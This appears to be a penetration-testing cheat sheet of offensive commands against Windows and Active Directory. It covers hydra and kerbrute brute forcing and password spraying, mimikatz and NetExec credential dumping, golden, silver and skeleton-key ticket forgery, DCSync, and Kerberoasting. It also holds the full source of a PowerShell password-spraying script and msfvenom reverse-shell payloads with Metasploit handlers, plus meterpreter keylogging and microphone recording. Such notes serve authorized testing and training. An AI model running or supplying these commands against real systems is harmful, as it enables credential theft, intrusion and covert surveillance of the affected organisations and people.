hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
hydra <RHOST> -C /PATH/TO/WORDLIST/<FILE> ftp

export HYDRA_PROXY=connect://127.0.0.1:8080
unset HYDRA_PROXY

hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"
hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/index.php:username=user&password=^PASS^:Login failed. Invalid"
hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT>
hydra <RHOST> -l root@localhost -P otrs-cewl.txt http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -vV -f
hydra <RHOST> -l admin -P /PATH/TO/WORDLIST/<FILE> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"

John

keepass2john <FILE>
ssh2john id_rsa > <FILE>
zip2john <FILE> > <FILE>
john <FILE> --wordlist=/PATH/TO/WORDLIST/<WORDLIST> --format=crypt
john <FILE> --rules --wordlist=/PATH/TO/WORDLIST/<WORDLIST
john --show <FILE>

Kerbrute

User Enumeration

./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>

Password Spray

./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>

LaZagne

laZagne.exe all

mimikatz

Common Commands

token::elevate
token::revert
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>

Dump Hashes

.\mimikatz.exe
sekurlsa::minidump /users/admin/Desktop/lsass.DMP
sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_create

Pass the Ticket

.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$

Forging Golden Ticket

.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$

Skeleton Key

privilege::debug
misc::skeleton
net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
dir \\<RHOST>\c$ /user:<USERNAME> mimikatz

NetExec

netexec smb <RHOST> -u '' -p '' --shares
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=99999999
netexec smb <RHOST> -u '' -p '' --share <SHARE> --get-file <FILE> <FILE> 
netexec smb <RHOST> -u 'guest' -p '' --shares --rid-brute
netexec smb <RHOST> -u 'guest' -p '' --shares --rid-brute 100000
netexec smb <RHOST> -u '<USERNAME>' --use-kcache --users
netexec smb <RHOST> -u '<USERNAME>' --use-kcache --sam
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --shares
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --sam
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --lsa
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --dpapi
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --sam
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --lsa
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth --dpapi
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M wcc
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M snipped
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M lsassy
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M web_delivery -o URL=http://<LHOST>/<FILE>
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M gpp_autologin
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M gpp_password
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M powershell_history
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --ntds
netexec smb <RHOST> -u '<USERNAME>' -H '<NTLMHASH>' --ntds
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --ntds --user <USERNAME>
netexec smb <RHOST> -u '<USERNAME>' -H '<NTLMHASH>' --ntds --user <USERNAME>
netexec smb <RHOST> -u '<USERNAME>' -H '<HASH>' -x "whoami"
netexec smb /PATH/TO/FILE/<FILE> --gen-relay-list <FILE>
netexec ldap <RHOST> -u '' -p '' --asreproast
netexec ldap <RHOST> -u '' -p '' -M -user-desc
netexec ldap <RHOST> -u '' -p '' -M get-desc-users
netexec ldap <RHOST> -u '' -p '' -M ldap-checker
netexec ldap <RHOST> -u '' -p '' -M veeam
netexec ldap <RHOST> -u '' -p '' -M maq
netexec ldap <RHOST> -u '' -p '' -M adcs
netexec ldap <RHOST> -u '' -p '' -M zerologon
netexec ldap <RHOST> -u '' -p '' -M petitpotam
netexec ldap <RHOST> -u '' -p '' -M nopac
netexec ldap <RHOST> -u '' -p '' --use-kcache -M whoami
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa -k
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-convert-id <ID>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa-decrypt-lsa <ACCOUNT>
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M get-network -o ALL=true
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c all
netexec winrm <SUBNET>/24 -u '<USERNAME>' -p '<PASSWORD>' -d .
netexec winrm -u /t -p '<PASSWORD>' -d '<DOMAIN>' <RHOST>
netexec winrm <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST>
netexec winrm <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --ignore-pw-decoding
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --shares
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --shares --continue
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --pass-pol
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --lusers
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --sam
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> --wdigest enable
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> -x 'quser'
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/<USERNAMES> -p /PATH/TO/WORDLIST/<WORDLIST> -x 'net user Administrator /domain' --exec-method smbexec

pypykatz

pypykatz lsa minidump lsass.dmp
pypykatz registry --sam sam system

Spray-Passwords

Spray-Passwords.ps1

<#
  .SYNOPSIS
    PoC PowerShell script to demo how to perform password spraying attacks against 
     user accounts in Active Directory (AD), aka low and slow online brute force method.
    Only use for good and after written approval from AD owner.
    Requires access to a Windows host on the internal network, which may perform
     queries against the Primary Domain Controller (PDC).
    Does not require admin access, neither in AD or on Windows host.
    Remote Server Administration Tools (RSAT) are not required.
    
    Should NOT be considered OPSEC safe since:
    - a lot of traffic is generated between the host and the Domain Controller(s).
    - failed logon events will be massive on Domain Controller(s).
    - badpwdcount will iterate on user account objects in scope.
    
    No accounts should be locked out by this script alone, but there are no guarantees.
    NB! This script does not take Fine-Grained Password Policies (FGPP) into consideration.
  .DESCRIPTION
    Perform password spraying attack against user accounts in Active Directory.
  .PARAMETER Pass
    Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'. Do not use together with File or Url."
	
  .PARAMETER File
    Supply a path to a password input file to test multiple passwords for each targeted user account. Do not use together with Pass or Url.
	
  .PARAMETER Url
    Download file from given URL and use as password input file to test multiple passwords for each targeted user account. Do not use together with File or Pass.
	
  .PARAMETER Admins
    Warning: will also target privileged user accounts (admincount=1.)". Default = $false.
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016'
    1. Test the password 'Summer2016' against all active user accounts, except privileged user accounts (admincount=1).
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016,Password123' -Admins
    1. Test the password 'Summer2016' against all active user accounts, including privileged user accounts (admincount=1).
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -File .\passwords.txt -Verbose 
    
    1. Test each password in the file 'passwords.txt' against all active user accounts, except privileged user accounts (admincount=1).
    2. Output script progress/status information to console.
  .EXAMPLE
    PS C:\> .\Spray-Passwords.ps1 -Url 'https://raw.githubusercontent.com/ZilentJack/Get-bADpasswords/master/BadPasswords.txt' -Verbose 
    
    1. Download the password file with weak passwords.
    2. Test each password against all active user accounts, except privileged user accounts (admincount=1).
    3. Output script progress/status information to console.
  .LINK
    Get latest version here: https://github.com/ZilentJack/Spray-Passwords
  .NOTES
    Authored by    : Jakob H. Heidelberg / @JakobHeidelberg / www.improsec.com
    Together with  : CyberKeel / www.cyberkeel.com
    Date created   : 09/05-2016
    Last modified  : 26/06-2016
    Version history:
    - 1.00: Initial public release, 26/06-2016
    Tested on:
     - WS 2016 TP5
     - WS 2012 R2
     - Windows 10
    Known Issues & possible solutions/workarounds:
     KI-0001: -
       Solution: -
    Change Requests for vNext (not prioritized):
     CR-0001: Support for Fine-Grained Password Policies (FGPP).
     CR-0002: Find better way of getting Default Domain Password Policy than "NET ACCOUNTS". Get-ADDefaultDomainPasswordPolicy is not en option as it relies on RSAT.
     CR-0003: Threated approach to test more user/password combinations simultaneously.
     CR-0004: Exception or include list based on username, group membership, SID's or the like.
     CR-0005: Exclude user account that executes the script (password probably already known).
    Verbose output:
     Use -Verbose to output script progress/status information to console.
#>

[CmdletBinding(DefaultParameterSetName='ByPass')]
Param 
(
    [Parameter(Mandatory = $true, ParameterSetName = 'ByURL',HelpMessage="Download file from given URL and use as password input file to test multiple passwords for each targeted user account.")]
    [String]
    $Url = '',

    [Parameter(Mandatory = $true, ParameterSetName = 'ByFile',HelpMessage="Supply a path to a password input file to test multiple passwords for each targeted user account.")]
    [String]
    $File = '',

    [Parameter(Mandatory = $true, ParameterSetName = 'ByPass',HelpMessage="Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'")]
    [AllowEmptyString()]
    [String]
    $Pass = '',

    [Parameter(Mandatory = $false,HelpMessage="Warning: will also target privileged user accounts (admincount=1.)")]
    [Switch]
    $Admins = $false

)

# Method to determine if input is numeric or not
Function isNumeric ($x) {
    $x2 = 0
    $isNum = [System.Int32]::TryParse($x, [ref]$x2)
    Return $isNum
}

# Method to get the lockout threshold - does not take FGPP into acocunt
Function Get-threshold
{
    $data = net accounts
    $threshold = $data[5].Split(":")[1].Trim()

    If (isNumeric($threshold) )
        {
            Write-Verbose "threshold is a number = $threshold"
            $threshold = [Int]$threshold
        }
    Else
        {
            Write-Verbose "Threshold is probably 'Never', setting max to 1000..."
            $threshold = [Int]1000
        }
    
    Return $threshold
}

# Method to get the lockout observation window - does not tage FGPP into account
Function Get-Duration
{
    $data = net accounts
    $duration = [Int]$data[7].Split(":")[1].Trim()
    Write-Verbose "Lockout duration is = $duration"
    Return $duration
}

# Method to retrieve the user objects from the PDC
Function Get-UserObjects
{
    # Get domain info for current domain
    Try {$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()}
    Catch {Write-Verbose "No domain found, will quit..." ; Exit}
   
    # Get the DC with the PDC emulator role
    $PDC = ($domainObj.PdcRoleOwner).Name

    # Build the search string from which the users should be found
    $SearchString = "LDAP:https://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName

    # Create a DirectorySearcher to poll the DC
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain

    # Select properties to load, to speed things up a bit
    $Searcher.PropertiesToLoad.Add("samaccountname") > $Null
    $Searcher.PropertiesToLoad.Add("badpwdcount") > $Null
    $Searcher.PropertiesToLoad.Add("badpasswordtime") > $Null

    # Search only for enabled users that are not locked out - avoid admins unless $admins = $true
    If ($Admins) {$Searcher.filter="(&(samAccountType=805306368)(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
    Else {$Searcher.filter="(&(samAccountType=805306368)(!(admincount=1))(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
    $Searcher.PageSize = 1000

    # Find & return targeted user accounts
    $userObjs = $Searcher.FindAll()
    Return $userObjs
}

# Method to perform auth test with specific username and password
Function Perform-Authenticate
{
    Param
    ([String]$username,[String]$password)

    # Get current domain with ADSI
    $CurrentDomain = "LDAP:https://"+([ADSI]"").DistinguishedName

    # Try to authenticate
    Write-Verbose "Trying to authenticate as user '$username' with password '$password'"
    $dom = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $username, $password)
    $res = $dom.Name
    
    # Return true/false
    If ($res -eq $null) {Return $false}
    Else {Return $true}
}

# Validate and parse user supplied url to CSV file of passwords
Function Parse-Url
{
    Param ([String]$url)

    # Download password file from URL
    $data = (New-Object System.Net.WebClient).DownloadString($url)
    $data = $data.Split([environment]::NewLine)

    # Parse passwords file and return results
    If ($data -eq $null -or $data -eq "") {Return $null}
    $passwords = $data.Split(",").Trim()
    Return $passwords
}

# Validate and parse user supplied CSV file of passwords
Function Parse-File
{
   Param ([String]$file)

   If (Test-Path $file)
   {
        $data = Get-Content $file
        
        If ($data -eq $null -or $data -eq "") {Return $null}
        $passwords = $data.Split(",").Trim()
        Return $passwords
   }
   Else {Return $null}
}

# Main function to perform the actual brute force attack
Function BruteForce
{
   Param ([Int]$duration,[Int]$threshold,[String[]]$passwords)

   #Setup variables
   $userObj = Get-UserObjects
   Write-Verbose "Found $(($userObj).count) active & unlocked users..."
   
   If ($passwords.Length -gt $threshold)
   {
        $time = ($passwords.Length - $threshold) * $duration
        Write-Host "Total run time is expected to be around $([Math]::Floor($time / 60)) hours and $([Math]::Floor($time % 60)) minutes."
   }

   [Boolean[]]$done = @()
   [Boolean[]]$usersCracked = @()
   [Int[]]$numTry = @()
   $results = @()

   #Initialize arrays
   For ($i = 0; $i -lt $userObj.Length; $i += 1)
   {
        $done += $false
        $usersCracked += $false
        $numTry += 0
   }

   # Main while loop which does the actual brute force.
   Write-Host "Performing brute force - press [q] to stop the process and print results..." -BackgroundColor Yellow -ForegroundColor Black
   :Main While ($true)
   {
        # Get user accounts
        $userObj = Get-UserObjects
        
        # Iterate over every user in AD
        For ($i = 0; $i -lt $userObj.Length; $i += 1)
        {

            # Allow for manual stop of the while loop, while retaining the gathered results
            If ($Host.UI.RawUI.KeyAvailable -and ("q" -eq $Host.UI.RawUI.ReadKey("IncludeKeyUp,NoEcho").Character))
            {
                Write-Host "Stopping bruteforce now...." -Background DarkRed
                Break Main
            }

            If ($usersCracked[$i] -eq $false)
            {
                If ($done[$i] -eq $false)
                {
                    # Put object values into variables
                    $samaccountnname = $userObj[$i].Properties.samaccountname
                    $badpwdcount = $userObj[$i].Properties.badpwdcount[0]
                    $badpwdtime = $userObj[$i].Properties.badpasswordtime[0]
                    
                    # Not yet reached lockout tries
                    If ($badpwdcount -lt ($threshold - 1))
                    {
                        # Try the auth with current password
                        $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]

                        If ($auth -eq $true)
                        {
                            Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                            $results += $samaccountnname
                            $results += $passwords[$numTry[$i]]
                            $usersCracked[$i] = $true
                            $done[$i] = $true
                        }

                        # Auth try did not work, go to next password in list
                        Else
                        {
                            $numTry[$i] += 1
                            If ($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                        }
                    }

                    # One more tries would result in lockout, unless timer has expired, let's see...
                    Else 
                    {
                        $now = Get-Date
                        
                        If ($badpwdtime)
                        {
                            $then = [DateTime]::FromFileTime($badpwdtime)
                            $timediff = ($now - $then).TotalMinutes
                        
                            If ($timediff -gt $duration)
                            {
                                # Since observation window time has passed, another auth try may be performed
                                $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
                            
                                If ($auth -eq $true)
                                {
                                    Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                    $results += $samaccountnname
                                    $results += $passwords[$numTry[$i]]
                                    $usersCracked[$i] = $true
                                    $done[$i] = $true
                                }
                                Else 
                                {
                                    $numTry[$i] += 1
                                    If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                                }

                            } # Time-diff if

                        }
                        Else
                        {
                            # Verbose-log if $badpwdtime in null. Possible "Cannot index into a null array" error.
                            Write-Verbose "- no badpwdtime exception '$samaccountnname':'$badpwdcount':'$badpwdtime'"
	
	
	
				   # Try the auth with current password
        	                $auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
			
                                If ($auth -eq $true)
                                {
                                    Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
                                    $results += $samaccountnname
                                    $results += $passwords[$numTry[$i]]
                                    $usersCracked[$i] = $true
                                    $done[$i] = $true
                                }
                                Else 
                                {
                                    $numTry[$i] += 1
                                    If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
                                }
			 
			 
			    
                        } # Badpwdtime-check if

                    } # Badwpdcount-check if

                } # Done-check if

            } # User-cracked if

        } # User loop

        # Check if the bruteforce is done so the while loop can be terminated
        $amount = 0
        For ($j = 0; $j -lt $done.Length; $j += 1)
        {
            If ($done[$j] -eq $true) {$amount += 1}
        }

        If ($amount -eq $done.Length) {Break}

   # Take a nap for a second
   Start-Sleep -m 1000

   } # Main While loop

   If ($results.Length -gt 0)
   {
       Write-Host "Users guessed are:"
       For($i = 0; $i -lt $results.Length; $i += 2) {Write-Host " '$($results[$i])' with password: '$($results[$i + 1])'"}
   }
   Else {Write-Host "No passwords were guessed."}
}

$passwords = $null

If ($Url -ne '')
{
    $passwords = Parse-Url $Url
}
ElseIf($File -ne '')
{
    $passwords = Parse-File $File
}
Else
{
    $passwords = $Pass.Split(",").Trim()   
}

If($passwords -eq $null)
{
    Write-Host "Error in password input, please try again."
    Exit
}

# Get password policy info
$duration = Get-Duration
$threshold = Get-threshold

If ($Admins) {Write-Host "WARNING: also targeting admin accounts." -BackgroundColor DarkRed}

# Call the main function and start the brute force
BruteForce $duration $threshold $passwords

Usage

.\Spray-Passwords.ps1 -Pass <PASSWORD> -Admin

Exploitation Tools

Metasploit

$ sudo msfdb run                   // start database
$ sudo msfdb init                  // database initialization
$ msfdb --use-defaults delete      // delete existing databases
$ msfdb --use-defaults init        // database initialization
$ msfdb status                     // database status
msf6 > workspace                   // metasploit workspaces
msf6 > workspace -a <WORKSPACE>    // add a workspace
msf6 > workspace -r <WORKSPACE>    // rename a workspace
msf6 > workspace -d <WORKSPACE>    // delete a workspace
msf6 > workspace -D                // delete all workspaces
msf6 > db_nmap <OPTIONS>           // execute nmap and add output to database
msf6 > hosts                       // reads hosts from database
msf6 > services                    // reads services from database
msf6 > vulns                       // displaying vulnerabilities
msf6 > search                      // search within metasploit
msf6 > set RHOST <RHOST>           // set remote host
msf6 > set RPORT <RPORT>           // set remote port
msf6 > run                         // run exploit
msf6 > spool /PATH/TO/FILE         // recording screen output
msf6 > save                        // saves current state
msf6 > exploit                     // using module exploit
msf6 > payload                     // using module payload
msf6 > auxiliary                   // using module auxiliary
msf6 > encoder                     // using module encoder
msf6 > nop                         // using module nop
msf6 > show sessions               // displays all current sessions
msf6 > sessions -i 1               // switch to session 1
msf6 > sessions -u <ID>            // upgrading shell to meterpreter
msf6 > sessions -k <ID>            // kill specific session
msf6 > sessions -K                 // kill all sessions
msf6 > jobs                        // showing all current jobs
msf6 > show payloads               // displaying available payloads
msf6 > set VERBOSE true            // enable verbose output
msf6 > set forceexploit true       // exploits the target anyways
msf6 > set EXITFUNC thread         // reverse shell can exit without exit the program
msf6 > set AutoLoadStdapi false    // disables autoload of stdapi
msf6 > set PrependMigrate true     // enables automatic process migration
msf6 > set PrependMigrateProc explorer.exe                        // auto migrate to explorer.exe
msf6 > use post/PATH/TO/MODULE                                    // use post exploitation module
msf6 > use post/linux/gather/hashdump                             // use hashdump for Linux
msf6 > use post/multi/manage/shell_to_meterpreter                 // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload    // use a specific module
C:\> > Ctrl + z                                  // put active meterpreter shell in background
meterpreter > loadstdapi                         // load stdapi
meterpreter > background                         // put meterpreter in background (same as "bg")
meterpreter > shell                              // get a system shell
meterpreter > channel -i <ID>                    // get back to existing meterpreter shell
meterpreter > ps                                 // checking processes
meterpreter > migrate 2236                       // migrate to a process
meterpreter > getuid                             // get the user id
meterpreter > sysinfo                            // get system information
meterpreter > search -f <FILE>                   // search for a file
meterpreter > upload                             // uploading local files to the target
meterpreter > ipconfig                           // get network configuration
meterpreter > load powershell                    // loads powershell
meterpreter > powershell_shell                   // follow-up command for load powershell
meterpreter > powershell_execute                 // execute command
meterpreter > powershell_import                  // import module
meterpreter > powershell_shell                   // shell
meterpreter > powershell_session_remove          // remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'                                // network discovery
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }'    // network scan
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'                            // port scan
meterpreter > load kiwi                          // load mimikatz
meterpreter > help kiwi                          // mimikatz help
meterpreter > kiwi_cmd                           // execute mimikatz native command
meterpreter > lsa_dump_sam                       // lsa sam dump
meterpreter > dcsync_ntlm krbtgt                 // dc sync
meterpreter > creds_all                          // dump all credentials
meterpreter > creds_msv                          // msv dump
meterpreter > creds_kerberos                     // kerberos dump
meterpreter > creds_ssp                          // ssp dump
meterpreter > creds_wdigest                      // wdigest dump
meterpreter > getprivs                           // get privileges after loading mimikatz
meterpreter > getsystem                          // gain system privileges if user is member of administrator group
meterpreter > hashdump                           // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm    // check status of the target
meterpreter > run post/multi/recon/local_exploit_suggester    // checking for exploits
meterpreter > run post/windows/manage/enable_rdp              // enables rdp
meterpreter > run post/multi/manage/autoroute                 // runs autoroutes
meterpreter > run auxiliary/server/socks4a                    // runs socks4 proxy server
meterpreter > keyscan_start                                   // enabled keylogger
meterpreter > keyscan_dump                                    // showing the output
meterpreter > screenshare                                     // realtime screen sharing
meterpreter > screenshare -q 100                              // realtime screen sharing
meterpreter > record_mic                                      // recording mic output
meterpreter > timestomp                                       // modify timestamps
meterpreter > execute -f calc.exe                             // starts a program on the victim
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1    // port forwarding

Metasploit through Proxychains

proxychains -q msfconsole

Auxiliary Output Directory

/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt

Meterpreter Listener

Generate Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exe

Setup Listener for Microsoft Windows

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

Download Files

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

.\<FILE>.exe

meterpreter > download *

Post Exploitation

Account Operators Group Membership

Add User

net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>

Import PowerView

powershell -ep bypass
. .\PowerView.ps1

Add DCSync Rights

$pass = convertto-securestring '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAIN>,DC=<DOMAIN>" -PrincipalIdentity <USERNAME> -Rights DCSync

DCSync

impacket-secretsdump '<USERNAME>:<PASSWORD>@<RHOST>'

Active Directory

Manual Enumeration

net user /domain
net user <USERNAME> /domain
net group /domain
net group "<GROUP>" /domain
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
Find-LocalAdminAccess
Get-NetSession -ComputerName <RHOST>
Get-NetSession -ComputerName <RHOST> -Verbose
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

Enumeration using PowerView

powershell -ep bypass
. .\PowerUp.ps1
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "<GROUP>" | select member
Convert-SidToName S-1-5-21-1987370373-658406905-1781884369-1104

Service Principal Name (SPN) Enumeration

setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe <RHOST>

Object Permission Enumeration

Permission	Description
GenericAll	Full permissions on object
GenericWrite	Edit certain attributes on the object
WriteOwner	Change ownership of the object
WriteDACL	Edit ACE's applied to object
AllExtendedRights	Change password, reset password, etc.
ForceChangePassword	Password change for object
Self (Self-Membership)	Add ourselves to for example a group

Get-ObjectAcl -Identity <USERNAME>
Get-ObjectAcl -Identity "<GROUP>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Get-NetGroup "<GROUP>" | select member
net group "<GROUP>" <USERNAME> /add /domain
net group "<GROUP>" <USERNAME> /del /domain

Share Enumeration

Find-DomainShare
ls \\<RHOST>\sysvol\<DOMAIN>\
ls \\<RHOST>\sysvol\<DOMAIN>\Policies\
cat \\<RHOST>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vgepPfsN1zMFTiQuyApgR92JE"

Credential Harvesting

Cached Credentials

.\mimikatz.exe
mimikatz # sekurlsa::logonpasswords
dir \\<RHOST>\<SHARE>
mimikatz # sekurlsa::tickets

AS-REP Roasting

impacket-GetNPUsers -dc-ip <RHOST> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>
hashcat -m 18200 hashes.asreproast /PATH/TO/WORDLIST/<WORDLIST> -r /usr/share/hashcat/rules/best64.rule --force

.\Rubeus.exe asreproast /nowrap
hashcat -m 18200 hashes.asreproast2 /PATH/TO/WORDLIST/<WORDLIST> -r /usr/share/hashcat/rules/best64.rule --force

Kerberoasting

impacket-GetUserSPNs -dc-ip <RHOST> -request <DOMAIN>/<USERNAME>
hashcat -m 13100 hashes.kerberoast /PATH/TO/WORDLIST/<WORDLIST> -r /usr/share/hashcat/rules/best64.rule --force

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hashcat -m 13100 hashes.kerberoast2 /PATH/TO/WORDLIST/<WORDLIST> -r /usr/share/hashcat/rules/best64.rule --force

Silver Tickets

Prerequisites

SPN password hash
Domain SID
Target SPN

Silver Ticket Forgery

iwr -UseDefaultCredentials http://<RHOST>
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords    // NTLM: 4d28cf5252d39971419580a51484ca09
